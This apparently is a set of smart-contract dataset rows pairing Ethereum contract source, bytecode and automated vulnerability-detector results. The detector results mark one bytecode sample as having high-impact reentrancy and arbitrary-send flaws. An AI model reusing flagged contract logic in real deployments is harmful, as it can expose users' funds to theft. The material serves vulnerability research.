526004016120ac9061294e565b60405180910390fd5b8091505092915050565b60006120c9611c9a565b905060006120e08284611ba890919063ffffffff16565b905061213481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6121918260065461201790919063ffffffff16565b6006819055506121ac8160075461206190919063ffffffff16565b6007819055505050565b6000806000806121e260646121d4888a611ba890919063ffffffff16565b611c2390919063ffffffff16565b9050600061220c60646121fe888b611ba890919063ffffffff16565b611c2390919063ffffffff16565b9050600061223582612227858c61201790919063ffffffff16565b61201790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122658589611ba890919063ffffffff16565b9050600061227c8689611ba890919063ffffffff16565b905060006122938789611ba890919063ffffffff16565b905060006122bc826122ae858761201790919063ffffffff16565b61201790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506122e481613079565b92915050565b6000815190506122f981613079565b92915050565b60008135905061230e81613090565b92915050565b600081519050612323816130a7565b92915050565b600081359050612338816130be565b92915050565b60008151905061234d816130be565b92915050565b60006020828403121561236557600080fd5b6000612373848285016122d5565b91505092915050565b60006020828403121561238e57600080fd5b600061239c848285016122ea565b91505092915050565b6000602082840312156123b757600080fd5b60006123c5848285016122ff565b91505092915050565b600080604083850312156123e157600080fd5b60006123ef858286016122d5565b9250506020612400858286016122d5565b9150509250929050565b60008060006060848603121561241f57600080fd5b600061242d868287016122d5565b935050602061243e868287016122d5565b925050604061244f86828701612329565b9150509250925092565b6000806040838503121561246c57600080fd5b600061247a858286016122d5565b925050602061248b85828601612329565b9150509250929050565b6000602082840312156124a757600080fd5b60006124b584828501612314565b91505092915050565b6000602082840312156124d057600080fd5b60006124de84828501612329565b91505092915050565b6000806000606084860312156124fc57600080fd5b600061250a8682870161233e565b935050602061251b8682870161233e565b925050604061252c8682870161233e565b9150509250925092565b6000612542838361254e565b60208301905092915050565b61255781612c68565b82525050565b61256681612c68565b82525050565b600061257782612b0e565b6125818185612b31565b935061258c83612afe565b8060005b838110156125bd5781516125a48882612536565b97506125af83612b24565b925050600181019050612590565b5085935050505092915050565b6125d381612c8c565b82525050565b6125e281612ccf565b82525050565b60006125f382612b19565b6125fd8185612b42565b935061260d818560208601612ce1565b61261681612d72565b840191505092915050565b600061262e602383612b42565b915061263982612d83565b604082019050919050565b6000612651602a83612b42565b915061265c82612dd2565b604082019050919050565b6000612674602283612b42565b915061267f82612e21565b604082019050919050565b6000612697601b83612b42565b91506126a282612e70565b602082019050919050565b60006126ba601583612b42565b91506126c582612e99565b602082019050919050565b60006126dd602183612b42565b91506126e882612ec2565b604082019050919050565b6000612700602083612b42565b915061270b82612f11565b602082019050919050565b6000612723602983612b42565b915061272e82612f3a565b604082019050919050565b6000612746602583612b42565b915061275182612f89565b604082019050919050565b6000612769602483612b42565b915061277482612fd8565b604082019050919050565b600061278c601783612b42565b915061279782613027565b602082019050919050565b60006127af601883612b42565b91506127ba82613050565b602082019050919050565b6127ce81612cb8565b82525050565b6127dd81612cc2565b82525050565b60006020820190506127f8600083018461255d565b92915050565b6000604082019050612813600083018561255d565b612820602083018461255d565b9392505050565b600060408201905061283c600083018561255d565b61284960208301846127c5565b9392505050565b600060c082019050612865600083018961255d565b61287260208301886127c5565b61287f60408301876125d9565b61288c60608301866125d9565b612899608083018561255d565b6128a660a08301846127c5565b979650505050505050565b60006020820190506128c660008301846125ca565b92915050565b600060208201905081810360008301526128e681846125e8565b905092915050565b6000602082019050818103600083015261290781612621565b9050919050565b6000602082019050818103600083015261292781612644565b9050919050565b6000602082019050818103600083015261294781612667565b9050919050565b600060208201905081810360008301526129678161268a565b9050919050565b60006020820190508181036000830152612987816126ad565b9050919050565b600060208201905081810360008301526129a7816126d0565b9050919050565b600060208201905081810360008301526129c7816126f3565b9050919050565b600060208201905081810360008301526129e781612716565b9050919050565b60006020820190508181036000830152612a0781612739565b9050919050565b60006020820190508181036000830152612a278161275c565b9050919050565b60006020820190508181036000830152612a478161277f565b9050919050565b60006020820190508181036000830152612a67816127a2565b9050919050565b6000602082019050612a8360008301846127c5565b92915050565b600060a082019050612a9e60008301886127c5565b612aab60208301876125d9565b8181036040830152612abd818661256c565b9050612acc606083018561255d565b612ad960808301846127c5565b9695505050505050565b6000602082019050612af860008301846127d4565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612b5e82612cb8565b9150612b6983612cb8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b9e57612b9d612d14565b5b828201905092915050565b6000612bb482612cb8565b9150612bbf83612cb8565b925082612bcf57612bce612d43565b5b828204905092915050565b6000612be582612cb8565b9150612bf083612cb8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c2957612c28612d14565b5b828202905092915050565b6000612c3f82612cb8565b9150612c4a83612cb8565b925082821015612c5d57612c5c612d14565b5b828203905092915050565b6000612c7382612c98565b9050919050565b6000612c8582612c98565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612cda82612cb8565b9050919050565b60005b83811015612cff578082015181840152602081019050612ce4565b83811115612d0e576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61308281612c68565b811461308d57600080fd5b50565b61309981612c7a565b81146130a457600080fd5b50565b6130b081612c8c565b81146130bb57600080fd5b50565b6130c781612cb8565b81146130d257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2853d9f54f0fed9ed6c6061d4d6cd6cef361c9c61d71815fbabde7e58f4bb6764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,138 |
0xeb2f778c4721d9366695e04fc17199254647a0a5
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract SimpleToken is StandardToken {
string public constant name = "AirdropMadness"; // solium-disable-line uppercase
string public constant symbol = "ADM"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function SimpleToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610377565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561037d565b3480156101dd57600080fd5b506101956104f4565b3480156101f257600080fd5b506101fb610503565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610508565b34801561024157600080fd5b50610195600160a060020a03600435166105f8565b34801561026257600080fd5b506100d3610613565b34801561027757600080fd5b5061016c600160a060020a036004351660243561064a565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561072b565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107c4565b60408051808201909152600e81527f41697264726f704d61646e657373000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561039457600080fd5b600160a060020a0384166000908152602081905260409020548211156103b957600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156103e957600080fd5b600160a060020a038416600090815260208190526040902054610412908363ffffffff6107ef16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610447908363ffffffff61080116565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610489908363ffffffff6107ef16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6a52b7d2dcc80cd2e400000081565b601281565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561055d57336000908152600260209081526040808320600160a060020a0388168452909152812055610592565b61056d818463ffffffff6107ef16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600381527f41444d0000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561066157600080fd5b3360009081526020819052604090205482111561067d57600080fd5b3360009081526020819052604090205461069d908363ffffffff6107ef16565b3360009081526020819052604080822092909255600160a060020a038516815220546106cf908363ffffffff61080116565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461075f908363ffffffff61080116565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156107fb57fe5b50900390565b60008282018381101561081057fe5b93925050505600a165627a7a72305820ce4962248a1c453f8e10d2421f72420dc34d458989f5364a1e4d4a5422f7dc9c0029
|
{"success": true, "error": null, "results": {}}
| 5,139 |
0x711b10096cae89b5896e9612540955b5eb158829
|
/**
*Submitted for verification at Etherscan.io on 2021-11-22
*/
// Sources flattened with hardhat v2.6.1 https://hardhat.org
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/finance/[email protected]
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
// emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + _totalReleased;
uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account];
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] = _released[account] + payment;
_totalReleased = _totalReleased + payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
contract Splitter is PaymentSplitter {
constructor(address[] memory payees, uint256[] memory shares_) PaymentSplitter(payees, shares_) {}
}
|
0x6080604052600436106100695760003560e01c80639852595c116100435780639852595c14610100578063ce7c2ac214610143578063e33b7de31461018657600080fd5b806319165587146100755780633a98ef39146100975780638b83209b146100bb57600080fd5b3661007057005b600080fd5b34801561008157600080fd5b506100956100903660046105aa565b61019b565b005b3480156100a357600080fd5b506000545b6040519081526020015b60405180910390f35b3480156100c757600080fd5b506100db6100d63660046105ce565b61040e565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100b2565b34801561010c57600080fd5b506100a861011b3660046105aa565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561014f57600080fd5b506100a861015e3660046105aa565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090205490565b34801561019257600080fd5b506001546100a8565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260026020526040902054610252576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060448201527f736861726573000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60006001544761026291906105e7565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260036020908152604080832054835460029093529083205493945091926102a5908561063a565b6102af91906105ff565b6102b99190610677565b905080610348576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060448201527f647565207061796d656e740000000000000000000000000000000000000000006064820152608401610249565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020546103799082906105e7565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600360205260409020556001546103ad9082906105e7565b6001556103ba838261044b565b6040805173ffffffffffffffffffffffffffffffffffffffff85168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b600060048281548110610423576104236106bd565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff1692915050565b804710156104b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610249565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d806000811461050f576040519150601f19603f3d011682016040523d82523d6000602084013e610514565b606091505b50509050806105a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610249565b505050565b6000602082840312156105bc57600080fd5b81356105c7816106ec565b9392505050565b6000602082840312156105e057600080fd5b5035919050565b600082198211156105fa576105fa61068e565b500190565b600082610635577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156106725761067261068e565b500290565b6000828210156106895761068961068e565b500390565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8116811461070e57600080fd5b5056fea26469706673582212202293656cf7828ec938c3f0bbbb95ab35466ef6a2e42392a8cc1bd7bd6bb170a664736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 5,140 |
0xff74f351f6f22117d33e76fe9370d18b3a55f585
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
